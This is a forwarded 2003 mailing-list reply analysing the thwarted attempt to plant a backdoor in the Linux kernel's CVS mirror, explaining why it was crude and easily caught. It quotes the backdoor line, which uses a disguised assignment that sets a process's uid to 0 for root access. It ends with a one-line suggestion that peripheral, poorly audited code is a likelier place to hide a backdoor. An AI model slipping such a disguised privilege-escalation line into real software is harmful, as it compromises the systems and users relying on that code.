[s-t] How a backdoor in the Linux kernel was thwarted (fwd)

[Oliver Xymoron]

On Wed, Nov 12, 2003 at 02:55:05PM -0800, Spastic Mutant wrote:
>
> Someone broke into a server at kernel.kbits.net and inserted the following
> code into the Linux kernel:
>
>          if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
>                          retval = -EINVAL;

More precisely into the CVS mirror of the Linux kernel, which is
primarily maintained with BitKeeper. This copy of the tree is
unauthoritative, the only authoritative copy sits on Linus' personal
machine. Thus for this copy to get merged into Linux proper, someone would
have to pull a copy from CVS, generate a patch containing the bogus
code, and then ship it off to Linus. Linus would then have to
completely fail to notice the meaningless code in an unrelated patch
and apply it. As the kernel is currently in deep freeze, possibly
weeks away from release, this is a rather unlikely scenario.

More importantly, this is a mirror, and immediately broke on the next
mirror update, and updates happen multiple times a day.

> This was done in the code sys_wait4().  Larry McVoy caught the fact that
the
> change had been made, and was annoyed because it wasn't logged properly.
> Matthew Dharm asked "Out of curiosity, what were the changed lines."  Zwane
> Mwaikambo responded "That looks odd", and Andries Brouwer responded "Not if
> you hope to get root."
>
> So, an annoying violation of the software change logging requirements
turned
> out to be an attempt to install a backdoor in Linux.  At least two very
> experienced programmers looked at it and saw just slightly odd code, before
> the serious nature of the threat was actually discovered.

Except Zwane in fact knew exactly what the code was doing when he
commented on its oddness and had to suffer dozens of people writing to
explain the code to him.

> This particular attack, by the way, is ruled out by the current voting
> system standards, not because they require a comprehensive security
> analysis, but because of their C-centered coding rules.  Embedded
assignment
> is forbidden.  Current source code checks are good at finding embedded
> assignments and flagging them (as long as the code is written in C).  No
> doubt, a hacker of the sophistication suggested by the attack illustrated
> above would strictly adhere to the coding guidelines in formulating their
> attack.

There was very little sophistication in this attack.

a) It attacked a secondary repository with no likely method of getting
fed into the core
b) It got noticed as corruption by the automatic update tools immediately
c) The patch itself created unreachable code which current compilers
will warn you about
d) And it wasn't particularly subtle by kernel standards

We haven't heard how the attack was planted yet, but I'm expecting
we'll hear it was done with script-kiddie tools.

If you want to get a backdoor in the kernel, a more likely approach is
to stick it in some poorly audited peripheral code and submit it when
there's not a code freeze on. Even then, odds are heavily against you.

--
 "Love the dolphins," she advised him. "Write by W.A.S.T.E.."

-----------------------------------------------------------